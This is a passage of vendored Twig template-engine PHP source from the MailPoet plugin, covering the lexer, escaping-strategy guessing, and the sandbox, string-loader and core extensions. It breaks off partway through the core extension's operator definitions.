 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; class FileExtensionEscapingStrategy { public static function guess($name) { if (\in_array(\substr($name, -1), ['/', '\\'])) { return 'html'; } if ('.twig' === \substr($name, -5)) { $name = \substr($name, 0, -5); } $extension = \pathinfo($name, \PATHINFO_EXTENSION); switch ($extension) { case 'js': return 'js'; case 'css': return 'css'; case 'txt': return \false; default: return 'html'; } } } \class_alias('MailPoetVendor\\Twig\\FileExtensionEscapingStrategy', 'MailPoetVendor\\Twig_FileExtensionEscapingStrategy'); twig/src/Lexer.php000066600000031673150351206230010110 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; class Lexer { private $tokens; private $code; private $cursor; private $lineno; private $end; private $state; private $states; private $brackets; private $env; private $source; private $options; private $regexes; private $position; private $positions; private $currentVarBlockLine; const STATE_DATA = 0; const STATE_BLOCK = 1; const STATE_VAR = 2; const STATE_STRING = 3; const STATE_INTERPOLATION = 4; const REGEX_NAME = '/[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*/A'; const REGEX_NUMBER = '/[0-9]+(?:\\.[0-9]+)?([Ee][\\+\\-][0-9]+)?/A'; const REGEX_STRING = '/"([^#"\\\\]*(?:\\\\.[^#"\\\\]*)*)"|\'([^\'\\\\]*(?:\\\\.[^\'\\\\]*)*)\'/As'; const REGEX_DQ_STRING_DELIM = '/"/A'; const REGEX_DQ_STRING_PART = '/[^#"\\\\]*(?:(?:\\\\.|#(?!\\{))[^#"\\\\]*)*/As'; const PUNCTUATION = '()[]{}?:.,|'; public function __construct(\MailPoetVendor\Twig\Environment $env, array $options = []) { $this->env = $env; $this->options = \array_merge(['tag_comment' => ['{#', '#}'], 'tag_block' => ['{%', '%}'], 'tag_variable' => ['{{', '}}'], 'whitespace_trim' => '-', 'whitespace_line_trim' => '~', 'whitespace_line_chars' => ' \\t\\0\\x0B', 'interpolation' => ['#{', '}']], $options); $this->regexes = [ 'lex_var' => '{
                \\s*
                (?:' . \preg_quote($this->options['whitespace_trim'] . $this->options['tag_variable'][1], '#') . '\\s*' . '|' . \preg_quote($this->options['whitespace_line_trim'] . $this->options['tag_variable'][1], '#') . '[' . $this->options['whitespace_line_chars'] . ']*' . '|' . \preg_quote($this->options['tag_variable'][1], '#') . ')
            }Ax', 'lex_block' => '{
                \\s*
                (?:' . \preg_quote($this->options['whitespace_trim'] . $this->options['tag_block'][1], '#') . '\\s*\\n?' . '|' . \preg_quote($this->options['whitespace_line_trim'] . $this->options['tag_block'][1], '#') . '[' . $this->options['whitespace_line_chars'] . ']*' . '|' . \preg_quote($this->options['tag_block'][1], '#') . '\\n?' . ')
            }Ax', 'lex_raw_data' => '{' . \preg_quote($this->options['tag_block'][0], '#') . '(' . $this->options['whitespace_trim'] . '|' . $this->options['whitespace_line_trim'] . ')?\\s*endverbatim\\s*' . '(?:' . \preg_quote($this->options['whitespace_trim'] . $this->options['tag_block'][1], '#') . '\\s*' . '|' . \preg_quote($this->options['whitespace_line_trim'] . $this->options['tag_block'][1], '#') . '[' . $this->options['whitespace_line_chars'] . ']*' . '|' . \preg_quote($this->options['tag_block'][1], '#') . ')
            }sx', 'operator' => $this->getOperatorRegex(), 'lex_comment' => '{
                (?:' . \preg_quote($this->options['whitespace_trim']) . \preg_quote($this->options['tag_comment'][1], '#') . '\\s*\\n?' . '|' . \preg_quote($this->options['whitespace_line_trim'] . $this->options['tag_comment'][1], '#') . '[' . $this->options['whitespace_line_chars'] . ']*' . '|' . \preg_quote($this->options['tag_comment'][1], '#') . '\\n?' . ')
            }sx', 'lex_block_raw' => '{
                \\s*verbatim\\s*
                (?:' . \preg_quote($this->options['whitespace_trim'] . $this->options['tag_block'][1], '#') . '\\s*' . '|' . \preg_quote($this->options['whitespace_line_trim'] . $this->options['tag_block'][1], '#') . '[' . $this->options['whitespace_line_chars'] . ']*' . '|' . \preg_quote($this->options['tag_block'][1], '#') . ')
            }Asx', 'lex_block_line' => '{\\s*line\\s+(\\d+)\\s*' . \preg_quote($this->options['tag_block'][1], '#') . '}As', 'lex_tokens_start' => '{
                (' . \preg_quote($this->options['tag_variable'][0], '#') . '|' . \preg_quote($this->options['tag_block'][0], '#') . '|' . \preg_quote($this->options['tag_comment'][0], '#') . ')(' . \preg_quote($this->options['whitespace_trim'], '#') . '|' . \preg_quote($this->options['whitespace_line_trim'], '#') . ')?
            }sx', 'interpolation_start' => '{' . \preg_quote($this->options['interpolation'][0], '#') . '\\s*}A', 'interpolation_end' => '{\\s*' . \preg_quote($this->options['interpolation'][1], '#') . '}A', ]; } public function tokenize(\MailPoetVendor\Twig\Source $source) { $this->source = $source; $this->code = \str_replace(["\r\n", "\r"], "\n", $source->getCode()); $this->cursor = 0; $this->lineno = 1; $this->end = \strlen($this->code); $this->tokens = []; $this->state = self::STATE_DATA; $this->states = []; $this->brackets = []; $this->position = -1; \preg_match_all($this->regexes['lex_tokens_start'], $this->code, $matches, \PREG_OFFSET_CAPTURE); $this->positions = $matches; while ($this->cursor < $this->end) { switch ($this->state) { case self::STATE_DATA: $this->lexData(); break; case self::STATE_BLOCK: $this->lexBlock(); break; case self::STATE_VAR: $this->lexVar(); break; case self::STATE_STRING: $this->lexString(); break; case self::STATE_INTERPOLATION: $this->lexInterpolation(); break; } } $this->pushToken( -1 ); if (!empty($this->brackets)) { list($expect, $lineno) = \array_pop($this->brackets); throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unclosed "%s".', $expect), $lineno, $this->source); } return new \MailPoetVendor\Twig\TokenStream($this->tokens, $this->source); } private function lexData() { if ($this->position == \count($this->positions[0]) - 1) { $this->pushToken( 0, \substr($this->code, $this->cursor) ); $this->cursor = $this->end; return; } $position = $this->positions[0][++$this->position]; while ($position[1] < $this->cursor) { if ($this->position == \count($this->positions[0]) - 1) { return; } $position = $this->positions[0][++$this->position]; } $text = $textContent = \substr($this->code, $this->cursor, $position[1] - $this->cursor); if (isset($this->positions[2][$this->position][0])) { if ($this->options['whitespace_trim'] === $this->positions[2][$this->position][0]) { $text = \rtrim($text); } elseif ($this->options['whitespace_line_trim'] === $this->positions[2][$this->position][0]) { $text = \rtrim($text, " \t\0\v"); } } $this->pushToken( 0, $text ); $this->moveCursor($textContent . $position[0]); switch ($this->positions[1][$this->position][0]) { case $this->options['tag_comment'][0]: $this->lexComment(); break; case $this->options['tag_block'][0]: if (\preg_match($this->regexes['lex_block_raw'], $this->code, $match, 0, $this->cursor)) { $this->moveCursor($match[0]); $this->lexRawData(); } elseif (\preg_match($this->regexes['lex_block_line'], $this->code, $match, 0, $this->cursor)) { $this->moveCursor($match[0]); $this->lineno = (int) $match[1]; } else { $this->pushToken( 1 ); $this->pushState(self::STATE_BLOCK); $this->currentVarBlockLine = $this->lineno; } break; case $this->options['tag_variable'][0]: $this->pushToken( 2 ); $this->pushState(self::STATE_VAR); $this->currentVarBlockLine = $this->lineno; break; } } private function lexBlock() { if (empty($this->brackets) && \preg_match($this->regexes['lex_block'], $this->code, $match, 0, $this->cursor)) { $this->pushToken( 3 ); $this->moveCursor($match[0]); $this->popState(); } else { $this->lexExpression(); } } private function lexVar() { if (empty($this->brackets) && \preg_match($this->regexes['lex_var'], $this->code, $match, 0, $this->cursor)) { $this->pushToken( 4 ); $this->moveCursor($match[0]); $this->popState(); } else { $this->lexExpression(); } } private function lexExpression() { if (\preg_match('/\\s+/A', $this->code, $match, 0, $this->cursor)) { $this->moveCursor($match[0]); if ($this->cursor >= $this->end) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unclosed "%s".', self::STATE_BLOCK === $this->state ? 'block' : 'variable'), $this->currentVarBlockLine, $this->source); } } if ('=' === $this->code[$this->cursor] && '>' === $this->code[$this->cursor + 1]) { $this->pushToken(\MailPoetVendor\Twig\Token::ARROW_TYPE, '=>'); $this->moveCursor('=>'); } elseif (\preg_match($this->regexes['operator'], $this->code, $match, 0, $this->cursor)) { $this->pushToken( 8, \preg_replace('/\\s+/', ' ', $match[0]) ); $this->moveCursor($match[0]); } elseif (\preg_match(self::REGEX_NAME, $this->code, $match, 0, $this->cursor)) { $this->pushToken( 5, $match[0] ); $this->moveCursor($match[0]); } elseif (\preg_match(self::REGEX_NUMBER, $this->code, $match, 0, $this->cursor)) { $number = (float) $match[0]; if (\ctype_digit($match[0]) && $number <= \PHP_INT_MAX) { $number = (int) $match[0]; } $this->pushToken( 6, $number ); $this->moveCursor($match[0]); } elseif (\false !== \strpos(self::PUNCTUATION, $this->code[$this->cursor])) { if (\false !== \strpos('([{', $this->code[$this->cursor])) { $this->brackets[] = [$this->code[$this->cursor], $this->lineno]; } elseif (\false !== \strpos(')]}', $this->code[$this->cursor])) { if (empty($this->brackets)) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected "%s".', $this->code[$this->cursor]), $this->lineno, $this->source); } list($expect, $lineno) = \array_pop($this->brackets); if ($this->code[$this->cursor] != \strtr($expect, '([{', ')]}')) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unclosed "%s".', $expect), $lineno, $this->source); } } $this->pushToken( 9, $this->code[$this->cursor] ); ++$this->cursor; } elseif (\preg_match(self::REGEX_STRING, $this->code, $match, 0, $this->cursor)) { $this->pushToken( 7, \stripcslashes(\substr($match[0], 1, -1)) ); $this->moveCursor($match[0]); } elseif (\preg_match(self::REGEX_DQ_STRING_DELIM, $this->code, $match, 0, $this->cursor)) { $this->brackets[] = ['"', $this->lineno]; $this->pushState(self::STATE_STRING); $this->moveCursor($match[0]); } else { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected character "%s".', $this->code[$this->cursor]), $this->lineno, $this->source); } } private function lexRawData() { if (!\preg_match($this->regexes['lex_raw_data'], $this->code, $match, \PREG_OFFSET_CAPTURE, $this->cursor)) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Unexpected end of file: Unclosed "verbatim" block.', $this->lineno, $this->source); } $text = \substr($this->code, $this->cursor, $match[0][1] - $this->cursor); $this->moveCursor($text . $match[0][0]); if (isset($match[1][0])) { if ($this->options['whitespace_trim'] === $match[1][0]) { $text = \rtrim($text); } else { $text = \rtrim($text, " \t\0\v"); } } $this->pushToken( 0, $text ); } private function lexComment() { if (!\preg_match($this->regexes['lex_comment'], $this->code, $match, \PREG_OFFSET_CAPTURE, $this->cursor)) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Unclosed comment.', $this->lineno, $this->source); } $this->moveCursor(\substr($this->code, $this->cursor, $match[0][1] - $this->cursor) . $match[0][0]); } private function lexString() { if (\preg_match($this->regexes['interpolation_start'], $this->code, $match, 0, $this->cursor)) { $this->brackets[] = [$this->options['interpolation'][0], $this->lineno]; $this->pushToken( 10 ); $this->moveCursor($match[0]); $this->pushState(self::STATE_INTERPOLATION); } elseif (\preg_match(self::REGEX_DQ_STRING_PART, $this->code, $match, 0, $this->cursor) && \strlen($match[0]) > 0) { $this->pushToken( 7, \stripcslashes($match[0]) ); $this->moveCursor($match[0]); } elseif (\preg_match(self::REGEX_DQ_STRING_DELIM, $this->code, $match, 0, $this->cursor)) { list($expect, $lineno) = \array_pop($this->brackets); if ('"' != $this->code[$this->cursor]) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unclosed "%s".', $expect), $lineno, $this->source); } $this->popState(); ++$this->cursor; } else { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected character "%s".', $this->code[$this->cursor]), $this->lineno, $this->source); } } private function lexInterpolation() { $bracket = \end($this->brackets); if ($this->options['interpolation'][0] === $bracket[0] && \preg_match($this->regexes['interpolation_end'], $this->code, $match, 0, $this->cursor)) { \array_pop($this->brackets); $this->pushToken( 11 ); $this->moveCursor($match[0]); $this->popState(); } else { $this->lexExpression(); } } private function pushToken($type, $value = '') { if (0 === $type && '' === $value) { return; } $this->tokens[] = new \MailPoetVendor\Twig\Token($type, $value, $this->lineno); } private function moveCursor($text) { $this->cursor += \strlen($text); $this->lineno += \substr_count($text, "\n"); } private function getOperatorRegex() { $operators = \array_merge(['='], \array_keys($this->env->getUnaryOperators()), \array_keys($this->env->getBinaryOperators())); $operators = \array_combine($operators, \array_map('strlen', $operators)); \arsort($operators); $regex = []; foreach ($operators as $operator => $length) { if (\ctype_alpha($operator[$length - 1])) { $r = \preg_quote($operator, '/') . '(?=[\\s()])'; } else { $r = \preg_quote($operator, '/'); } $r = \preg_replace('/\\s+/', '\\s+', $r); $regex[] = $r; } return '/' . \implode('|', $regex) . '/A'; } private function pushState($state) { $this->states[] = $this->state; $this->state = $state; } private function popState() { if (0 === \count($this->states)) { throw new \LogicException('Cannot pop state without a previous state.'); } $this->state = \array_pop($this->states); } } \class_alias('MailPoetVendor\\Twig\\Lexer', 'MailPoetVendor\\Twig_Lexer'); twig/src/Extension/OptimizerExtension.php000066600000001073150351206230014653 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\NodeVisitor\OptimizerNodeVisitor; final class OptimizerExtension extends \MailPoetVendor\Twig\Extension\AbstractExtension { private $optimizers; public function __construct($optimizers = -1) { $this->optimizers = $optimizers; } public function getNodeVisitors() { return [new \MailPoetVendor\Twig\NodeVisitor\OptimizerNodeVisitor($this->optimizers)]; } } \class_alias('MailPoetVendor\\Twig\\Extension\\OptimizerExtension', 'MailPoetVendor\\Twig_Extension_Optimizer'); twig/src/Extension/SandboxExtension.php000066600000005375150351206230014300 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\NodeVisitor\SandboxNodeVisitor; use MailPoetVendor\Twig\Sandbox\SecurityNotAllowedMethodError; use MailPoetVendor\Twig\Sandbox\SecurityNotAllowedPropertyError; use MailPoetVendor\Twig\Sandbox\SecurityPolicyInterface; use MailPoetVendor\Twig\Source; use MailPoetVendor\Twig\TokenParser\SandboxTokenParser; final class SandboxExtension extends \MailPoetVendor\Twig\Extension\AbstractExtension { private $sandboxedGlobally; private $sandboxed; private $policy; public function __construct(\MailPoetVendor\Twig\Sandbox\SecurityPolicyInterface $policy, $sandboxed = \false) { $this->policy = $policy; $this->sandboxedGlobally = $sandboxed; } public function getTokenParsers() { return [new \MailPoetVendor\Twig\TokenParser\SandboxTokenParser()]; } public function getNodeVisitors() { return [new \MailPoetVendor\Twig\NodeVisitor\SandboxNodeVisitor()]; } public function enableSandbox() { $this->sandboxed = \true; } public function disableSandbox() { $this->sandboxed = \false; } public function isSandboxed() { return $this->sandboxedGlobally || $this->sandboxed; } public function isSandboxedGlobally() { return $this->sandboxedGlobally; } public function setSecurityPolicy(\MailPoetVendor\Twig\Sandbox\SecurityPolicyInterface $policy) { $this->policy = $policy; } public function getSecurityPolicy() { return $this->policy; } public function checkSecurity($tags, $filters, $functions) { if ($this->isSandboxed()) { $this->policy->checkSecurity($tags, $filters, $functions); } } public function checkMethodAllowed($obj, $method, int $lineno = -1, \MailPoetVendor\Twig\Source $source = null) { if ($this->isSandboxed()) { try { $this->policy->checkMethodAllowed($obj, $method); } catch (\MailPoetVendor\Twig\Sandbox\SecurityNotAllowedMethodError $e) { $e->setSourceContext($source); $e->setTemplateLine($lineno); throw $e; } } } public function checkPropertyAllowed($obj, $method, int $lineno = -1, \MailPoetVendor\Twig\Source $source = null) { if ($this->isSandboxed()) { try { $this->policy->checkPropertyAllowed($obj, $method); } catch (\MailPoetVendor\Twig\Sandbox\SecurityNotAllowedPropertyError $e) { $e->setSourceContext($source); $e->setTemplateLine($lineno); throw $e; } } } public function ensureToStringAllowed($obj, int $lineno = -1, \MailPoetVendor\Twig\Source $source = null) { if ($this->isSandboxed() && \is_object($obj) && \method_exists($obj, '__toString')) { try { $this->policy->checkMethodAllowed($obj, '__toString'); } catch (\MailPoetVendor\Twig\Sandbox\SecurityNotAllowedMethodError $e) { $e->setSourceContext($source); $e->setTemplateLine($lineno); throw $e; } } return $obj; } } \class_alias('MailPoetVendor\\Twig\\Extension\\SandboxExtension', 'MailPoetVendor\\Twig_Extension_Sandbox'); twig/src/Extension/RuntimeExtensionInterface.php000066600000000167150351206230016140 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; interface RuntimeExtensionInterface { } twig/src/Extension/StringLoaderExtension.php000066600000001423150351206230015265 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\TwigFunction; final class StringLoaderExtension extends \MailPoetVendor\Twig\Extension\AbstractExtension { public function getFunctions() { return [new \MailPoetVendor\Twig\TwigFunction('template_from_string', '\\MailPoetVendor\\twig_template_from_string', ['needs_environment' => \true])]; } } \class_alias('MailPoetVendor\\Twig\\Extension\\StringLoaderExtension', 'MailPoetVendor\\Twig_Extension_StringLoader'); namespace MailPoetVendor; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\TemplateWrapper; function twig_template_from_string(\MailPoetVendor\Twig\Environment $env, $template, string $name = null) { return $env->createTemplate((string) $template, $name); } twig/src/Extension/CoreExtension.php000066600000114425150351206230013567 0ustar00<?php
 namespace MailPoetVendor\Twig\Extension; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\ExpressionParser; use MailPoetVendor\Twig\Node\Expression\Binary\AddBinary; use MailPoetVendor\Twig\Node\Expression\Binary\AndBinary; use MailPoetVendor\Twig\Node\Expression\Binary\BitwiseAndBinary; use MailPoetVendor\Twig\Node\Expression\Binary\BitwiseOrBinary; use MailPoetVendor\Twig\Node\Expression\Binary\BitwiseXorBinary; use MailPoetVendor\Twig\Node\Expression\Binary\ConcatBinary; use MailPoetVendor\Twig\Node\Expression\Binary\DivBinary; use MailPoetVendor\Twig\Node\Expression\Binary\EndsWithBinary; use MailPoetVendor\Twig\Node\Expression\Binary\EqualBinary; use MailPoetVendor\Twig\Node\Expression\Binary\FloorDivBinary; use MailPoetVendor\Twig\Node\Expression\Binary\GreaterBinary; use MailPoetVendor\Twig\Node\Expression\Binary\GreaterEqualBinary; use MailPoetVendor\Twig\Node\Expression\Binary\InBinary; use MailPoetVendor\Twig\Node\Expression\Binary\LessBinary; use MailPoetVendor\Twig\Node\Expression\Binary\LessEqualBinary; use MailPoetVendor\Twig\Node\Expression\Binary\MatchesBinary; use MailPoetVendor\Twig\Node\Expression\Binary\ModBinary; use MailPoetVendor\Twig\Node\Expression\Binary\MulBinary; use MailPoetVendor\Twig\Node\Expression\Binary\NotEqualBinary; use MailPoetVendor\Twig\Node\Expression\Binary\NotInBinary; use MailPoetVendor\Twig\Node\Expression\Binary\OrBinary; use MailPoetVendor\Twig\Node\Expression\Binary\PowerBinary; use MailPoetVendor\Twig\Node\Expression\Binary\RangeBinary; use MailPoetVendor\Twig\Node\Expression\Binary\SpaceshipBinary; use MailPoetVendor\Twig\Node\Expression\Binary\StartsWithBinary; use MailPoetVendor\Twig\Node\Expression\Binary\SubBinary; use MailPoetVendor\Twig\Node\Expression\Filter\DefaultFilter; use MailPoetVendor\Twig\Node\Expression\NullCoalesceExpression; use MailPoetVendor\Twig\Node\Expression\Test\ConstantTest; use MailPoetVendor\Twig\Node\Expression\Test\DefinedTest; use MailPoetVendor\Twig\Node\Expression\Test\DivisiblebyTest; use MailPoetVendor\Twig\Node\Expression\Test\EvenTest; use MailPoetVendor\Twig\Node\Expression\Test\NullTest; use MailPoetVendor\Twig\Node\Expression\Test\OddTest; use MailPoetVendor\Twig\Node\Expression\Test\SameasTest; use MailPoetVendor\Twig\Node\Expression\Unary\NegUnary; use MailPoetVendor\Twig\Node\Expression\Unary\NotUnary; use MailPoetVendor\Twig\Node\Expression\Unary\PosUnary; use MailPoetVendor\Twig\NodeVisitor\MacroAutoImportNodeVisitor; use MailPoetVendor\Twig\TokenParser\ApplyTokenParser; use MailPoetVendor\Twig\TokenParser\BlockTokenParser; use MailPoetVendor\Twig\TokenParser\DeprecatedTokenParser; use MailPoetVendor\Twig\TokenParser\DoTokenParser; use MailPoetVendor\Twig\TokenParser\EmbedTokenParser; use MailPoetVendor\Twig\TokenParser\ExtendsTokenParser; use MailPoetVendor\Twig\TokenParser\FilterTokenParser; use MailPoetVendor\Twig\TokenParser\FlushTokenParser; use MailPoetVendor\Twig\TokenParser\ForTokenParser; use MailPoetVendor\Twig\TokenParser\FromTokenParser; use MailPoetVendor\Twig\TokenParser\IfTokenParser; use MailPoetVendor\Twig\TokenParser\ImportTokenParser; use MailPoetVendor\Twig\TokenParser\IncludeTokenParser; use MailPoetVendor\Twig\TokenParser\MacroTokenParser; use MailPoetVendor\Twig\TokenParser\SetTokenParser; use MailPoetVendor\Twig\TokenParser\SpacelessTokenParser; use MailPoetVendor\Twig\TokenParser\UseTokenParser; use MailPoetVendor\Twig\TokenParser\WithTokenParser; use MailPoetVendor\Twig\TwigFilter; use MailPoetVendor\Twig\TwigFunction; use MailPoetVendor\Twig\TwigTest; final class CoreExtension extends \MailPoetVendor\Twig\Extension\AbstractExtension { private $dateFormats = ['F j, Y H:i', '%d days']; private $numberFormat = [0, '.', ',']; private $timezone = null; private $escapers = []; public function setEscaper($strategy, callable $callable) { @\trigger_error(\sprintf('The "%s" method is deprecated since Twig 2.11; use "%s::setEscaper" instead.', __METHOD__, \MailPoetVendor\Twig\Extension\EscaperExtension::class), \E_USER_DEPRECATED); $this->escapers[$strategy] = $callable; } public function getEscapers() { if (0 === \func_num_args() || \func_get_arg(0)) { @\trigger_error(\sprintf('The "%s" method is deprecated since Twig 2.11; use "%s::getEscapers" instead.', __METHOD__, \MailPoetVendor\Twig\Extension\EscaperExtension::class), \E_USER_DEPRECATED); } return $this->escapers; } public function setDateFormat($format = null, $dateIntervalFormat = null) { if (null !== $format) { $this->dateFormats[0] = $format; } if (null !== $dateIntervalFormat) { $this->dateFormats[1] = $dateIntervalFormat; } } public function getDateFormat() { return $this->dateFormats; } public function setTimezone($timezone) { $this->timezone = $timezone instanceof \DateTimeZone ? $timezone : new \DateTimeZone($timezone); } public function getTimezone() { if (null === $this->timezone) { $this->timezone = new \DateTimeZone(\date_default_timezone_get()); } return $this->timezone; } public function setNumberFormat($decimal, $decimalPoint, $thousandSep) { $this->numberFormat = [$decimal, $decimalPoint, $thousandSep]; } public function getNumberFormat() { return $this->numberFormat; } public function getTokenParsers() { return [new \MailPoetVendor\Twig\TokenParser\ApplyTokenParser(), new \MailPoetVendor\Twig\TokenParser\ForTokenParser(), new \MailPoetVendor\Twig\TokenParser\IfTokenParser(), new \MailPoetVendor\Twig\TokenParser\ExtendsTokenParser(), new \MailPoetVendor\Twig\TokenParser\IncludeTokenParser(), new \MailPoetVendor\Twig\TokenParser\BlockTokenParser(), new \MailPoetVendor\Twig\TokenParser\UseTokenParser(), new \MailPoetVendor\Twig\TokenParser\FilterTokenParser(), new \MailPoetVendor\Twig\TokenParser\MacroTokenParser(), new \MailPoetVendor\Twig\TokenParser\ImportTokenParser(), new \MailPoetVendor\Twig\TokenParser\FromTokenParser(), new \MailPoetVendor\Twig\TokenParser\SetTokenParser(), new \MailPoetVendor\Twig\TokenParser\SpacelessTokenParser(), new \MailPoetVendor\Twig\TokenParser\FlushTokenParser(), new \MailPoetVendor\Twig\TokenParser\DoTokenParser(), new \MailPoetVendor\Twig\TokenParser\EmbedTokenParser(), new \MailPoetVendor\Twig\TokenParser\WithTokenParser(), new \MailPoetVendor\Twig\TokenParser\DeprecatedTokenParser()]; } public function getFilters() { return [ new \MailPoetVendor\Twig\TwigFilter('date', '\\MailPoetVendor\\twig_date_format_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('date_modify', '\\MailPoetVendor\\twig_date_modify_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('format', 'sprintf'), new \MailPoetVendor\Twig\TwigFilter('replace', '\\MailPoetVendor\\twig_replace_filter'), new \MailPoetVendor\Twig\TwigFilter('number_format', '\\MailPoetVendor\\twig_number_format_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('abs', 'abs'), new \MailPoetVendor\Twig\TwigFilter('round', '\\MailPoetVendor\\twig_round'), new \MailPoetVendor\Twig\TwigFilter('url_encode', '\\MailPoetVendor\\twig_urlencode_filter'), new \MailPoetVendor\Twig\TwigFilter('json_encode', 'json_encode'), new \MailPoetVendor\Twig\TwigFilter('convert_encoding', '\\MailPoetVendor\\twig_convert_encoding'), new \MailPoetVendor\Twig\TwigFilter('title', '\\MailPoetVendor\\twig_title_string_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('capitalize', '\\MailPoetVendor\\twig_capitalize_string_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('upper', '\\MailPoetVendor\\twig_upper_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('lower', '\\MailPoetVendor\\twig_lower_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('striptags', 'strip_tags'), new \MailPoetVendor\Twig\TwigFilter('trim', '\\MailPoetVendor\\twig_trim_filter'), new \MailPoetVendor\Twig\TwigFilter('nl2br', 'nl2br', ['pre_escape' => 'html', 'is_safe' => ['html']]), new \MailPoetVendor\Twig\TwigFilter('spaceless', '\\MailPoetVendor\\twig_spaceless', ['is_safe' => ['html']]), new \MailPoetVendor\Twig\TwigFilter('join', '\\MailPoetVendor\\twig_join_filter'), new \MailPoetVendor\Twig\TwigFilter('split', '\\MailPoetVendor\\twig_split_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('sort', '\\MailPoetVendor\\twig_sort_filter'), new \MailPoetVendor\Twig\TwigFilter('merge', '\\MailPoetVendor\\twig_array_merge'), new \MailPoetVendor\Twig\TwigFilter('batch', '\\MailPoetVendor\\twig_array_batch'), new \MailPoetVendor\Twig\TwigFilter('column', '\\MailPoetVendor\\twig_array_column'), new \MailPoetVendor\Twig\TwigFilter('filter', '\\MailPoetVendor\\twig_array_filter'), new \MailPoetVendor\Twig\TwigFilter('map', '\\MailPoetVendor\\twig_array_map'), new \MailPoetVendor\Twig\TwigFilter('reduce', '\\MailPoetVendor\\twig_array_reduce'), new \MailPoetVendor\Twig\TwigFilter('reverse', '\\MailPoetVendor\\twig_reverse_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('length', '\\MailPoetVendor\\twig_length_filter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('slice', '\\MailPoetVendor\\twig_slice', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('first', '\\MailPoetVendor\\twig_first', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('last', '\\MailPoetVendor\\twig_last', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFilter('default', '\\MailPoetVendor\\_twig_default_filter', ['node_class' => \MailPoetVendor\Twig\Node\Expression\Filter\DefaultFilter::class]), new \MailPoetVendor\Twig\TwigFilter('keys', '\\MailPoetVendor\\twig_get_array_keys_filter'), ]; } public function getFunctions() { return [new \MailPoetVendor\Twig\TwigFunction('max', 'max'), new \MailPoetVendor\Twig\TwigFunction('min', 'min'), new \MailPoetVendor\Twig\TwigFunction('range', 'range'), new \MailPoetVendor\Twig\TwigFunction('constant', '\\MailPoetVendor\\twig_constant'), new \MailPoetVendor\Twig\TwigFunction('cycle', '\\MailPoetVendor\\twig_cycle'), new \MailPoetVendor\Twig\TwigFunction('random', '\\MailPoetVendor\\twig_random', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFunction('date', '\\MailPoetVendor\\twig_date_converter', ['needs_environment' => \true]), new \MailPoetVendor\Twig\TwigFunction('include', '\\MailPoetVendor\\twig_include', ['needs_environment' => \true, 'needs_context' => \true, 'is_safe' => ['all']]), new \MailPoetVendor\Twig\TwigFunction('source', '\\MailPoetVendor\\twig_source', ['needs_environment' => \true, 'is_safe' => ['all']])]; } public function getTests() { return [new \MailPoetVendor\Twig\TwigTest('even', null, ['node_class' => \MailPoetVendor\Twig\Node\Expression\Test\EvenTest::class]), new \MailPoetVendor\Twig\TwigTest('odd', null, ['node_class' => \MailPoetVendor\Twig\Node\Expression\Test\OddTest::class]), new \MailPoetVendor\Twig\TwigTest('defined', null, ['node_class' => \MailPoetVendor\Twig\Node\Expression\Test\DefinedTest::class]), new \MailPoetVendor\Twig\TwigTest('same as', null, ['node_class' => \MailPoetVendor\Twig\Node\Expression\Test\SameasTest::class]), new \MailPoetVendor\Twig\TwigTest('none', null, ['node_class' => \MailPoetVendor\Twig\Node\Expression\Test\NullTest::class]), new \MailPoetVendor\Twig\TwigTest('null', null, ['node_class' => \MailPoetVendor\Twig\Node\Expression\Test\NullTest::class]), new \MailPoetVendor\Twig\TwigTest('divisible by', null, ['node_class' => \MailPoetVendor\Twig\Node\Expression\Test\DivisiblebyTest::class]), new \MailPoetVendor\Twig\TwigTest('constant', null, ['node_class' => \MailPoetVendor\Twig\Node\Expression\Test\ConstantTest::class]), new \MailPoetVendor\Twig\TwigTest('empty', '\\MailPoetVendor\\twig_test_empty'), new \MailPoetVendor\Twig\TwigTest('iterable', '\\MailPoetVendor\\twig_test_iterable')]; } public function getNodeVisitors() { return [new \MailPoetVendor\Twig\NodeVisitor\MacroAutoImportNodeVisitor()]; } public function getOperators() { return [['not' => ['precedence' => 50, 'class' => \MailPoetVendor\Twig\Node\Expression\Unary\NotUnary::class], '-' => ['precedence' => 500, 'class' => \MailPoetVendor\Twig\Node\Expression\Unary\NegUnary::class], '+' => ['precedence' => 500, 'class' => \MailPoetVendor\Twig\Node\Expression\Unary\PosUnary::class]], ['or' => ['precedence' => 10, 